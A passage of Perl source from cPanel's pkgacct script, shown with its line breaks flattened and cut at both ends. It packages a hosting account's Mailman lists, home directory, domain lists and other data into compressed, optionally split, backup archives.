Cpanel::FileUtils::Match::get_files_matching_trailers( "$Cpanel::ConfigFiles::MAILMAN_ROOT/lists", '_', \%trailers ); } if ( -r "$Cpanel::ConfigFiles::MAILMAN_ROOT/suspended.lists" ) { $LISTTARGETS{'mms'} = Cpanel::FileUtils::Match::get_files_matching_trailers( "$Cpanel::ConfigFiles::MAILMAN_ROOT/suspended.lists", '_', \%trailers ); } if ( -r "$Cpanel::ConfigFiles::MAILMAN_ROOT/archives/private" ) { # We only need the mbox file since we regenerate these with the arch # tool upon restore $LISTTARGETS{'mma/priv'} = Cpanel::FileUtils::Match::get_files_matching_trailers( "$Cpanel::ConfigFiles::MAILMAN_ROOT/archives/private", '_', \%mbox_trailers ); } } my $mailman_file_copy = sub { foreach my $target ( keys %LISTTARGETS ) { my $file_list = $LISTTARGETS{$target}; if ( ref $file_list && @$file_list ) { foreach my $dir (@$file_list) { my @path = split( /\/+/, $dir ); my $base_file = pop @path; mkdir( $work_dir . '/' . $target . '/' . $base_file, 0700 ) if !-e $work_dir . '/' . $target . '/' . $base_file; $output_obj->out( "...$base_file...", @Cpanel::Pkgacct::PARTIAL_MESSAGE ); Cpanel::SafeSync::safesync( 'user' => 'mailman', 'source' => $dir, 'dest' => $work_dir . '/' . $target . '/' . $base_file, 'isbackup' => ( $isbackup || $isuserbackup ), 'delete' => $is_incremental, 'verbose' => 0 ); } } } }; if ( $#{ $LISTTARGETS{'mma/priv'} } <= 1 ) { #no forking if only one file $mailman_file_copy->(); } else { $pkgacct->run_dot_event( sub { $0 = "pkgacct - ${user} - mailman copy child"; $mailman_file_copy->(); }, ); } $output_obj->out( "Done copying mailman lists and archives.\n", @Cpanel::Pkgacct::PARTIAL_MESSAGE ); } else { $output_obj->out( "Copying mailman lists and archives skipped (--skipmailman set)....\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } if ( $OPTS->{'skipmail'} ) { $cpmove->exclude("$work_dir/homedir/mail"); $cpmove->exclude("$homedir/mail"); } if ( $OPTS->{'skippublichtml'} ) { $cpmove->exclude("$work_dir/homedir/public_html"); $cpmove->exclude("$homedir/public_html"); } my $htaccess_files = {}; if ( !$OPTS->{'skiphomedir'} ) { homedir_block( 'work_dir' => $work_dir, 'gid' => $gid, 'isbackup' => $isbackup, 'isuserbackup' => $isuserbackup, 'homedir' => $homedir, 'prefix' => $prefix, 'user' => $user, 'is_incremental' => $is_incremental, 'tarcfg' => $tarcfg, 'gzipcfg' => $gzipcfg, 'cpmove' => $cpmove, 'output_obj' => $output_obj, 'pkgacct' => $pkgacct, 'skipmail' => $OPTS->{'skipmail'}, 'skippublichtml' => $OPTS->{'skippublichtml'}, ); # If we're using EA4, we want to strip out the handler blocks # that we may have added. restorepkg on the destination # server will try to add them back. if ( !$is_incremental ) { $htaccess_files = _strip_ea4_htaccess_blocks( $user, $work_dir, $output_obj, $cpmove ); # We don't want to include our staging directory for the # modified .htaccess files in the archive, and we also # want the original files to not be included either - # we'll put our new files in their places. $cpmove->exclude("$work_dir/htaccess") if -d "$work_dir/htaccess"; for my $file ( keys %$htaccess_files ) { $cpmove->exclude( $htaccess_files->{$file} ); $htaccess_files->{$file} =~ s~\Q$homedir\E~$prefix$user/homedir~; } } } # Record db map status as off, even if we have it on. # This is because, as of 11.44, a single account could have # a combination of prefixed and unprefixed databases. Cpanel::FileUtils::Write::overwrite_no_exceptions( "$work_dir/meta/dbprefix", 0, 0644 ); Cpanel::FileUtils::Write::overwrite_no_exceptions( "$work_dir/meta/hostname", Cpanel::Sys::Hostname::gethostname(), 0644 ); $pkgacct->perform_component('Postgresql') if !$OPTS->{'skippgsql'}; if ( !$OPTS->{'skipmysql'} ) { $pkgacct->perform_component('Mysql'); $pkgacct->perform_component('MysqlRemoteNotes'); } $pkgacct->perform_component('CpUserFile'); $pkgacct->perform_component('Cron') if !$OPTS->{'skipcron'}; $pkgacct->perform_component('Quota') if !$OPTS->{'skipquota'}; $pkgacct->perform_component('Integration') if !$OPTS->{'skipintegrationlinks'}; $pkgacct->perform_component('AuthnLinks') if !$OPTS->{'skipauthnlinks'}; $pkgacct->perform_component('APITokens') if !$OPTS->{'skipapitokens'}; $pkgacct->perform_component('DNSSEC') if !$OPTS->{'skipdnssec'}; $pkgacct->perform_component('Custom') if !$OPTS->{'skipcustom'}; $pkgacct->perform_component('CustomDMARC') if !$OPTS->{'skipcustomdmarc'}; $pkgacct->perform_component('AutoSSL'); my $domain_data_backup_is_current = 0; if ($is_incremental) { my $http_now = time(); my $httpdconf = $apacheconf->file_conf(); my $httpd_conf_mtime = ( stat($httpdconf) )[9]; if ( $httpd_conf_mtime < $http_now ) { my $newest_domain_file_mtime = 0; foreach my $domain_file ( "$work_dir/sds", "$work_dir/sds2", "$work_dir/pds", "$work_dir/addons" ) { next if !-e $domain_file; if ( ( stat($domain_file) )[9] > $newest_domain_file_mtime ) { $newest_domain_file_mtime = ( stat(_) )[9]; } } if ( $httpd_conf_mtime < $newest_domain_file_mtime ) { $domain_data_backup_is_current = 1; } } } if ( !$OPTS->{'skipdomains'} ) { if ($domain_data_backup_is_current) { $output_obj->out( "Domain data backup is already current....Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } else { $output_obj->out( "Storing Subdomains....\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); my %SUBS; if ($usedomainlookup) { %SUBS = Cpanel::DomainLookup::listsubdomains(); #domainlookup takes no args } else { #yes abshomedir and homedir are reversed here. %SUBS = Cpanel::Config::userdata::ApacheConf::listsubdomains($user); } sysopen( SH, "$work_dir/sds", WRONLY_CREAT_NOFOLLOW_TRUNC, 0600 ); foreach my $sd ( keys %SUBS ) { syswrite( SH, "$sd\n", length "$sd\n" ); } close(SH); sysopen( SH, "$work_dir/sds2", WRONLY_CREAT_NOFOLLOW_TRUNC, 0600 ); foreach my $sd ( keys %SUBS ) { my $basedir = $SUBS{$sd}; $basedir =~ s/^$homedir\/?//g; $basedir =~ s/^$syshomedir\/?//g; my $temp = "$sd=$basedir\n"; syswrite( SH, $temp, length $temp ); } close(SH); $output_obj->out( "Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); $output_obj->out( "Storing Parked Domains....\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); my %SDS; if ($usedomainlookup) { %SDS = Cpanel::DomainLookup::getparked($dns); } else { %SDS = Cpanel::Config::userdata::ApacheConf::getparked( $dns, $user ); } sysopen( SH, "$work_dir/pds", WRONLY_CREAT_NOFOLLOW_TRUNC, 0600 ); foreach my $sd ( keys %SDS ) { my $temp = "$sd\n"; syswrite( SH, $temp, length $temp ); } close(SH); $output_obj->out( "Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); $output_obj->out( "Storing Addon Domains....\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); my (@PSUBS); my ( %FN, $fname ); foreach ( keys %SUBS ) { $fname = $_; s/_/\./g; $FN{$_} = $fname; push( @PSUBS, $_ ); } my %PARKED; if ($usedomainlookup) { %PARKED = Cpanel::DomainLookup::getmultiparked(@PSUBS); } else { %PARKED = Cpanel::Config::userdata::ApacheConf::getaddon($user); } sysopen( SH, "$work_dir/addons", WRONLY_CREAT_NOFOLLOW_TRUNC, 0600 ); foreach my $subdomain ( keys %PARKED ) { foreach my $parked ( keys %{ $PARKED{$subdomain} } ) { my $target = $FN{$subdomain} // ''; my $temp = "$parked=$target\n"; syswrite( SH, $temp, length $temp ); } } close(SH); } } if ( !$OPTS->{'skippasswd'} ) { $pkgacct->perform_component('Password'); $pkgacct->perform_component('DigestShadow'); } if ( !$OPTS->{'skipshell'} ) { $output_obj->out( "Copying shell.......", @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); my $shell_file_backup_mtime = $is_incremental ? ( ( stat("$work_dir/shell") )[9] || -1 ) : -1; if ( $shell_file_backup_mtime <= $passwd_mtime || $shell_file_backup_mtime >= $now ) { Cpanel::FileUtils::Write::overwrite_no_exceptions( "$work_dir/shell", $shell, 0600 ); } $output_obj->out( "Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } if ( !$OPTS->{'skiplocale'} ) { if ( $> == 0 ) { export_non_cpanel_locale( $user, $work_dir, $cpuser_ref, $output_obj, $pkgacct ); } else { $output_obj->warn( "Exporting of the user's locale must be done as root.\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } } $pkgacct->perform_component('WebCalls'); $pkgacct->perform_component('BrandCustomizations'); #Do this for all users just in case a non-reseller somehow #has public contact information. (There’s no harm in backing it up.) $pkgacct->perform_component('PublicContact'); $pkgacct->perform_component('MailLimits'); $pkgacct->perform_component('LinkedNodes') if !$OPTS->{'skiplinkednodes'}; $pkgacct->perform_component('PackageVersion'); my $hook_context = { 'workdir' => $work_dir, 'homedir' => $homedir, 'user' => $user, 'is_incremental' => $is_incremental, 'is_split' => $split, 'is_tarball' => $create_tarball, 'is_backup' => $isbackup, }; Cpanel::Hooks::hook( { 'category' => 'PkgAcct', 'event' => 'Create', 'stage' => 'preFinalize', }, $hook_context ); chdir( $vars->{tarroot} ); $output_obj->out( "Creating Archive ....", @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); Cpanel::Rlimit::set_rlimit_to_infinity() if !$>; $homedir = undef if $OPTS->{'skiphomedir'}; my $prefix_user = "${prefix}${user}"; if ($create_tarball) { ## e.g. invoked as './usr/local/cpanel/scripts/pkgacct $user "" userbackup' ## - or - './usr/local/cpanel/scripts/pkgacct $user /tmp backup' if ($isbackup) { my $destfile = "$prefix_user.${archiveext}"; write_cpmove_archive( 'prefix_user' => $prefix_user, 'homedir' => $homedir, 'work_dir' => $work_dir, 'cpmove' => $cpmove, 'gzipcfg' => $gzipcfg, 'file' => $destfile, 'user' => $user, 'compress' => $compress, 'htaccess' => $htaccess_files, 'output_obj' => $output_obj, 'isuserbackup' => $isuserbackup, ); } else { my $exit_status; ## e.g. invoked as './usr/local/cpanel/scripts/pkgacct $user "" --split' if ($split) { $exit_status = handle_dir_to_splitfiles( 'homedir' => $homedir, 'work_dir' => $work_dir, 'prefix_user' => $prefix_user, 'cpmove' => $cpmove, 'gzipcfg' => $gzipcfg, 'archiveext' => $archiveext, 'user' => $user, 'compress' => $compress, 'htaccess' => $htaccess_files, 'output_obj' => $output_obj, 'pkgacct' => $pkgacct, 'isuserbackup' => $isuserbackup, ); } else { ## e.g. invoked as './usr/local/cpanel/scripts/pkgacct $user' my $destfile = "$prefix_user.${archiveext}"; $exit_status = write_cpmove_archive( 'prefix_user' => $prefix_user, 'homedir' => $homedir, 'work_dir' => $work_dir, 'cpmove' => $cpmove, 'gzipcfg' => $gzipcfg, 'file' => $destfile, 'user' => $user, 'compress' => $compress, 'htaccess' => $htaccess_files, 'output_obj' => $output_obj, 'isuserbackup' => $isuserbackup, ); } if ($exit_status) { $output_obj->error( "\nERROR: tar of archive returned error $exit_status\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); return 0; } } if ( -d $work_dir && !-l $work_dir ) { File::Path::rmtree($work_dir); } } $output_obj->out( "Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); if ( !$split && $create_tarball ) { $output_obj->out( "pkgacctfile is: $work_dir.$archiveext\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); $hook_context->{'tarball'} = "$work_dir.$archiveext"; } elsif ($is_incremental) { ## note: nothing seems to capture this, in the way that the other messages are ## captured by Whostmgr::Remote $output_obj->out( "pkgacct target is: $work_dir\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } if ( $create_tarball && !$split ) { if ( !$ENV{'CPBACKUP'} ) { # If we are doing a cpbackup we do not calculate the md5 sum # as we are just going to throw it away my $md5sum = Cpanel::MD5::getmd5sum("$work_dir.$archiveext"); $output_obj->out( "md5sum is: $md5sum\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); $hook_context->{'md5sum'} = $md5sum; } my $size = ( stat("$work_dir.$archiveext") )[7]; $hook_context->{'size'} = $size; $output_obj->out( "\nsize is: $size\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } unless ( $OPTS->{'skiphomedir'} ) { my ( $homesize, $homefiles ) = ( Cpanel::Quota::displayquota( { 'bytes' => 1, 'include_sqldbs' => 0, 'include_mailman' => 0, 'user' => $user } ) )[ 0, 3 ]; Cpanel::Hooks::hook( { 'category' => 'PkgAcct', 'event' => 'Create', 'stage' => 'postFinalize', }, $hook_context ); # # Fall back to 'du -s' in case there was no quota information available # for the current user. # NOTE: One condition where there is no quota information is if quotas are disabled for the account. # In this instance, it will return "NA\n" as a string and no $homefiles. As such, this check needs to account fo that. # if ( !$homesize || $homesize eq "NA\n" ) { my $du = qx( du -s $homedir ); my ($homesize_kb) = ( $du =~ m/^(\d+)/ ); $homesize = $homesize_kb * 1024; $homefiles = qx( ls -lR $homedir | wc -l ); } #Catch cases where none of this works as expected $homesize //= 'Unknown'; $homefiles //= 'Unknown'; #XXX when having output from du/ls above, you get double newlines, not sure if anyone cares though... $output_obj->out( "\nhomesize is: $homesize\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); $output_obj->out( "\nhomefiles is: $homefiles\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } # Withhold MySQL size if we didn’t back up MySQL. my $skip_mysql_size_yn = $OPTS->{'skipmysql'}; $skip_mysql_size_yn ||= !Cpanel::Services::Enabled::is_provided("mysql"); unless ($skip_mysql_size_yn) { my $mysql_usage; if ($>) { # This admin call would be unnecessary if we always used # INFORMATION_SCHEMA to compile MySQL disk usage; however, if the # admin has disabled the “use_information_schema” tweak setting, # then we need to compile MySQL disk usage via the filesystem, # which only a privileged user (or the mysql user) can do. require Cpanel::AdminBin; $mysql_usage = Cpanel::AdminBin::adminrun( 'cpmysql', 'GETDISK' ); } else { $mysql_usage = Cpanel::Mysql->new( { cpuser => $user } )->getmysqldiskusage(); } $output_obj->out( "\nmysqlsize is: $mysql_usage\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } if ( $vars->{need_to_mount_backup} ) { require Cpanel::BackupMount; Cpanel::BackupMount::unmount_backup_disk( $backup_settings->{backupdir}, 'pkgacct_' . $user ); } if ( my @failed = $pkgacct->get_failed_components() ) { my $msg = locale()->maketext( 'The [list_and_quoted,_1] [numerate,_2,component,components] failed.', \@failed, 0 + @failed ); _log( $output_obj, error => $msg ); return 0; } # Certain parsing logic (e.g., Whostmgr/Backup/Pkgacct/State.pm) # looks for this phrase as an indicator of successful completion. $output_obj->out( "pkgacct completed\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); return 1; } sub _log ( $output_obj, $level, $message ) { $output_obj->$level( $message, @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); return; } sub copy_from_backup_for_user { my ( $user, $config, $vars, $output_obj, $pkgacct ) = @_; # cannot copy an account without config return unless defined $config; my $basedir = $config->{basedir}; return unless -d $basedir; my $incdir = $config->{incrementaldir}; # check if rsync is available before mounting the backup disk my $rsync_bin = Cpanel::Binaries::path('rsync'); -x $rsync_bin or return; my $backup_available; my $prefix = $vars->{prefix}; # ro variable if ( $config->{backupmount} ) { require Cpanel::BackupMount; { no warnings 'once'; $Cpanel::BackupMount::VERBOSE = 1; } # need to unmount disk only if it was not previously mounted $vars->{need_to_mount_backup} = !Cpanel::BackupMount::backup_disk_is_mounted( $config->{backupdir} ); # still call mount, whatever is the previous state to call hooks Cpanel::BackupMount::mount_backup_disk( $config->{backupdir}, 'pkgacct_' . $user, 15000 ) if $vars->{need_to_mount_backup}; } if ( -e "$basedir/$incdir/$user" ) { $backup_available = 1; # create cpmove directories if ( !-e "$basedir/cpmove/$prefix$user" ) { if ( !-e "$basedir/cpmove" ) { mkdir( "$basedir/cpmove", 0700 ) || warn "Failed to mkdir $basedir/cpmove: $!"; } mkdir( "$basedir/cpmove/$prefix$user", 0700 ) || warn "Failed to mkdir $basedir/cpmove/$prefix$user: $!"; } if ( -e "$basedir/cpmove/$prefix$user" ) { $output_obj->out( "pkgacct using daily backups to decrease package time\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); $vars->{tarroot} = "$basedir/cpmove"; $vars->{work_dir} = $vars->{tarroot} . "/$prefix$user"; $output_obj->out( "Hard linking daily backup ($basedir/$incdir/$prefix$user) to working dir ($vars->{work_dir})....", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); my $status = $pkgacct->run_dot_event( sub { $0 = "pkgacct - $user - rsyncing daily backup for faster creation"; my @args = ( '-rlptD', "--delete", ( $vars->{skiphomedir} ? '--exclude=homedir/*' : () ), "--link-dest=../../$incdir/$user", "$basedir/$incdir/$user/", $vars->{work_dir} . '/', ); my $status = system {$rsync_bin} $rsync_bin, @args; #Let this forked process endure the same fate. (Mwa, ha, ha!) if ($status) { my $err = Cpanel::ChildErrorStringifier->new($status); if ( $err->signal_code() ) { kill $err->signal_code(), $$; } exit $err->error_code(); } }, ); if ( $status != 0 ) { my $why = Cpanel::ChildErrorStringifier->new($status)->autopsy(); $output_obj->out( "pkgacct failed to copy daily backup because rsync failed: $why\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); return 0; } $output_obj->out( "Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); $vars->{create_tarball} = 1; $vars->{is_incremental} = 1; } else { $output_obj->out( "Could not use daily backups because the cpmove directory for the user could not be created.\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } } return $backup_available; } sub create_safe_tar_writer { my (%args) = @_; my $cpmove = $args{'cpmove'}; my $homedir = $args{'homedir'}; my $work_dir = $args{'work_dir'}; my $stage = $args{'stage'}; my $user = $args{'user'}; my $htaccess = $args{'htaccess'}; my $isuserbackup = $args{'isuserbackup'}; return sub { my ($fh) = @_; $cpmove->set_handle($fh); $cpmove->archive_as( $work_dir => $stage ); # We don't want to add this exclude until the first "archive_as" # Otherwise, if the work directory is the user's home directory # then all the the files we are trying to archive above if ($isuserbackup) { # # Since a single tarball of the cpmove directory with homedir is being # created, only trailing items named for this pattern not equal to the # root of the tarball should be excluded # $cpmove->exclude( "$homedir/backup-[!_]*_[!-]*-[!-]*-[!_]*_" . $user . '*' ); } # Since we chmod 0000 public_ftp for suspended users # Skip that directory, and give a more useful warning. # If skiphomedir is set, don't warn, as we would have skipped it anyway. if ( defined $homedir && Cpanel::AcctUtils::Suspended::is_suspended($user) ) { $output_obj->warn('Skipping public_ftp directory for suspended user. Resulting archive may be incomplete.'); $cpmove->exclude("$homedir/public_ftp"); } if ($homedir) { if ( $> == 0 ) { $cpmove->exclude($work_dir); Cpanel::AccessIds::ReducedPrivileges::call_as_user( sub { $cpmove->archive_as( $homedir => "$stage/homedir" ); }, $user ); } else { $cpmove->archive_as( $homedir => "$stage/homedir" ); } } # If there's actually anything in the %$htaccess hash, that # means we've already excluded the stuff it replaces from the # tar, and need to substitute in our new mappings. if ( ref $htaccess eq 'HASH' and %$htaccess ) { $cpmove->archive_as(%$htaccess); } $cpmove->finish; exit 0; }; } sub write_cpmove_archive { my (%args) = @_; my $prefix_user = $args{'prefix_user'}; my $homedir = $args{'homedir'}; my $work_dir = $args{'work_dir'}; my $cpmove = $args{'cpmove'}; my $gzipcfg = $args{'gzipcfg'}; my $file = $args{'file'}; my $user = $args{'user'}; my $compress = $args{'compress'}; my $htaccess = $args{'htaccess'}; my $output_obj = $args{'output_obj'}; my $isuserbackup = $args{'isuserbackup'}; my ($fh); Cpanel::FileUtils::Open::sysopen_with_real_perms( $fh, $file, 'O_WRONLY|O_CREAT', 0600 ) or die "Could not open $file: $!"; my $tarball = Cpanel::IO::Tarball->new( 'gzip_config' => $gzipcfg, 'compress' => $compress, 'output_stream_fh' => $fh, 'tar_writer' => create_safe_tar_writer( 'work_dir' => $work_dir, 'stage' => $prefix_user, 'homedir' => $homedir, 'cpmove' => $cpmove, 'user' => $user, 'htaccess' => $htaccess, 'isuserbackup' => $isuserbackup, ) ); { local $0 = "$0 - write compressed stream"; my $timer = Cpanel::Pkgacct::Util->create_dot_timer($output_obj); $timer->start; try { $timer->tick while $tarball->splice(); } catch { die Cpanel::Exception->create( 'The system failed to save the archive “[_1]” because of an error: [_2]', [ $file, Cpanel::Exception::get_string($_) ] ); }; $timer->stop; } close $fh; if ( $tarball->{'tar_messages'} ne '' ) { if ( $tarball->{'tar_messages'} =~ /Permission denied/ ) { $output_obj->out( "\nOne or more files in the home directory were not readable and were not copied. Please review the home directory upon completion of transfer\n\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } $output_obj->warn( "WARN: Warning(s) encountered in tar during archiving:\n" . $tarball->{'tar_messages'} . "\n", @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); } if ( $tarball->{'gzip_messages'} ne '' ) { $output_obj->warn( "WARN: Warning(s) encountered in gzip during archiving:\n" . $tarball->{'gzip_messages'} . "\n", @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); } eval { $tarball->close; }; my $errors = $@; if ( $errors =~ /Permission denied/ ) { $output_obj->out( "\nOne or more files in the home directory were not readable and were not copied. Please review the home directory upon completion of transfer\n\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } elsif ($errors) { die 'ERROR: ' . $errors; } return; } sub dotsleep { select( undef, undef, undef, 0.10 ); return; } ## e.g. invoked as './usr/local/cpanel/scripts/pkgacct $user' sub homedir_block { ## no critic qw(Subroutines::ProhibitExcessComplexity) my (%args) = @_; my $work_dir = $args{'work_dir'}; my $gid = $args{'gid'}; my $isbackup = $args{'isbackup'}; my $isuserbackup = $args{'isuserbackup'}; my $homedir = $args{'homedir'}; my $prefix = $args{'prefix'}; my $user = $args{'user'}; my $is_incremental = $args{'is_incremental'}; my $tarcfg = $args{'tarcfg'}; my $cpmove = $args{'cpmove'}; my $output_obj = $args{'output_obj'}; my $pkgacct = $args{'pkgacct'}; my $skipmail = $args{'skipmail'}; my $skippublichtml = $args{'skippublichtml'}; $output_obj->out( "Copying homedir....", @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); lstat($work_dir); if ( -d _ && !-l _ ) { my ( $mode, $work_dir_uid, $work_dir_gid ) = ( lstat(_) )[ 2, 4, 5 ]; Cpanel::Lchown::lchown( 0, 0, $work_dir ) unless ( $work_dir_uid == 0 && $work_dir_gid == 0 ); chmod( 0700, $work_dir ) unless ( $mode & 07777 == 0700 ); } lstat("$work_dir/homedir"); if ( -d _ && !-l _ ) { my ( $work_dir_homedir_uid, $work_dir_homedir_gid ) = ( lstat(_) )[ 4, 5 ]; if ( $work_dir_homedir_uid != 0 || $work_dir_homedir_gid != 0 ) { Cpanel::Lchown::lchown( 0, 0, "$work_dir/homedir" ); } } elsif ( !-e _ ) { mkdir( "$work_dir/homedir", 0700 ); lstat("$work_dir/homedir"); } chmod( 0700, "$work_dir/homedir" ) if ( ( lstat(_) )[2] & 07777 != 0700 ); $pkgacct->run_dot_event( sub { if ( $isbackup || $isuserbackup ) { Cpanel::SafeSync::build_cpbackup_exclude_conf( $homedir, $user ); } my $nfl_ref = {}; if ( !$is_incremental ) { $nfl_ref = Cpanel::SafeSync::find_uid_files( $homedir, [ 'cpanel', 'nobody' ], $user, $Cpanel::SafeSync::SKIP_CPANEL_CONTROLLED_DIRS ); } else { my $exclude; if ( $skipmail && $skippublichtml ) { $exclude = "$homedir/mail|$homedir/public_html"; } elsif ($skipmail) { $exclude = "$homedir/mail"; } elsif ($skippublichtml) { $exclude = "$homedir/public_html"; } my %opts = ( 'pkgacct' => 1, #ignore ftp quota files 'user' => $user, 'gidlist' => [ 'cpanel', 'nobody' ], 'source' => $homedir, 'dest' => "$work_dir/homedir", 'chown' => 0, 'isbackup' => ( $isbackup || $isuserbackup ), 'delete' => ( $is_incremental ? 1 : 0 ), 'verbose' => 0, 'exclude' => $exclude, ); if ( exists $pkgacct->{'link_dest'} && -d $pkgacct->{'link_dest'} ) { $opts{'link_dest'} = $pkgacct->{'link_dest'} . '/homedir'; } $nfl_ref = Cpanel::SafeSync::safesync(%opts); } chmod( 0700, "$work_dir/homedir" ) if ( sprintf( '%04o', ( stat("$work_dir/homedir") )[2] & 07777 ) ne '0700' ); # We don't need nobody file if we don't need the homedir sysopen( my $nf_fh, "$work_dir/nobodyfiles", WRONLY_CREAT_NOFOLLOW_TRUNC, 0600 ); Cpanel::NobodyFiles::write_nobodyfiles_to_fh( $homedir, $nf_fh, $nfl_ref ); close($nf_fh); }, ); if ( $isbackup || $isuserbackup ) { my @EXCLUSION_LIST_FILES = ( "$homedir/cpbackup-exclude.conf", $Cpanel::SafeSync::global_exclude ); # Drop to user level privileges. # This should be ok, since the global exclude should be world-readable. my $reduced_privs = $> == 0 ? Cpanel::AccessIds::ReducedPrivileges->new($user) : undef; foreach my $file (@EXCLUSION_LIST_FILES) { next unless -r $file && -s _; # cpbackup-exclude.conf is not written with FileUtils::Write # so no lock is needed if ( open( my $rules, '<', $file ) ) { while (<$rules>) { chomp; # remove spaces s/^\s+//; s/\s+$//; tr/\0//d; # Ignore any blank lines or lines containing only NULs. # Otherwise it will cause the whole homedir to be excluded from the tarball. next unless length $_; $_ = $homedir . '/' . $_ if ( index( $_, '/' ) != 0 ); # Do not allow the backup directory to be added to the exclude list. next if ( index( $work_dir, $_ ) != -1 ); $cpmove->exclude($_); } close($rules); } } # Restore privileges. $reduced_privs = undef; } $output_obj->out( "Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); return 1; } sub create_antitimeout_process { my ($output_obj) = @_; my $dotpid; if ( $dotpid = fork() ) { } else { my $ppid = getppid(); my $dotcount = 5; while (1) { if ( $dotcount % 15 == 0 ) { $output_obj->out(".........\n"); if ( !kill( 0, $ppid ) ) { exit(0); } } dotsleep(); $dotcount++; } } return $dotpid; } ## e.g. invoked as './usr/local/cpanel/scripts/pkgacct $user "" --split' sub handle_dir_to_splitfiles { my (%args) = @_; my $homedir = $args{'homedir'}; my $work_dir = $args{'work_dir'}; my $prefix_user = $args{'prefix_user'}; my $cpmove = $args{'cpmove'}; my $gzipcfg = $args{'gzipcfg'}; my $archiveext = $args{'archiveext'}; my $user = $args{'user'}; my $output_obj = $args{'output_obj'}; my $pkgacct = $args{'pkgacct'}; my $isuserbackup = $args{'isuserbackup'}; my $basedir = "${work_dir}-split"; mkdir( $basedir, 0700 ); rename( $work_dir, "$basedir/$prefix_user" ); chdir($basedir); opendir( SPD, $basedir ); my @FILES = readdir(SPD); closedir(SPD); foreach my $file (@FILES) { if ( -f "$basedir/${file}" ) { unlink("$basedir/${file}"); } } my $dotpid = create_antitimeout_process($output_obj); my $rv = write_split_cpmove_archives( 'cpmove' => $cpmove, 'gzipcfg' => $gzipcfg, 'work_dir' => "$basedir/$prefix_user", 'stage' => $prefix_user, 'homedir' => $homedir, 'archiveext' => $archiveext, 'user' => $user, 'output_obj' => $output_obj, 'isuserbackup' => $isuserbackup, ); $output_obj->out("\n"); opendir( SPD, $basedir ); @FILES = (); @FILES = readdir(SPD); closedir(SPD); for ( 0 .. $#FILES ) { my $file = $FILES[$_]; next if ( $file !~ /^\Q$prefix_user\E/ ); #in case of cruft files my $splitfile = "$basedir/$file"; if ( -f $splitfile ) { $output_obj->out( "splitpkgacctfile is: $splitfile\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); my $md5sum = Cpanel::MD5::getmd5sum($splitfile); $output_obj->out( "\nsplitmd5sum is: $md5sum\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); my $splitsize = ( stat($splitfile) )[7]; $output_obj->out( "\nsplitsize is: $splitsize\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } } if ( -d "$basedir/$prefix_user" && !-l "$basedir/$prefix_user" ) { File::Path::rmtree("$basedir/$prefix_user"); } if ( $dotpid && $dotpid > 0 ) { kill( 'TERM', $dotpid ); kill( 'KILL', $dotpid ); } return $rv; } sub write_split_cpmove_archives { my (%args) = @_; my $ret = 0; my $cpmove = $args{'cpmove'}; my $gzipcfg = $args{'gzipcfg'}; my $work_dir = $args{'work_dir'}; my $stage = $args{'stage'}; my $homedir = $args{'homedir'}; my $archiveext = $args{'archiveext'}; my $user = $args{'user'}; my $compress = $args{'compress'}; my $output_obj = $args{'output_obj'}; my $isuserbackup = $args{'isuserbackup'}; my $tarball = Cpanel::IO::Tarball->new( 'gzip_config' => $gzipcfg, 'compress' => $compress, 'tar_writer' => create_safe_tar_writer( 'cpmove' => $cpmove, 'work_dir' => $work_dir, 'stage' => $stage, 'homedir' => $homedir, 'user' => $user, 'isuserbackup' => $isuserbackup, ) ); { my $gzip_size = $gzipcfg->read_size(); my $part = 0; PART: while (1) { my $bytes_this_part = 0; $part++; local $0 = "$0 - write compressed stream part $part"; my $fname = sprintf( "%s.%s.part%05d", $stage, $archiveext, $part ); Cpanel::FileUtils::Open::sysopen_with_real_perms( my $PART_fh, $fname, 'O_WRONLY|O_CREAT', 0600 ) or die "Failed to open “$fname”: $!"; my $PART_fileno = fileno($PART_fh); while ( my $bytes_sent = $tarball->splice( $PART_fileno, $gzip_size ) ) { $bytes_this_part += $bytes_sent; next PART if $bytes_this_part > $splitfile_partsize; } last PART; } } if ( $tarball->{'tar_messages'} ne '' ) { if ( $tarball->{'tar_messages'} =~ /Permission denied/ ) { $output_obj->out( "\nOne or more files in the home directory were not readable and were not copied. Please review the home directory upon completion of transfer\n\n", 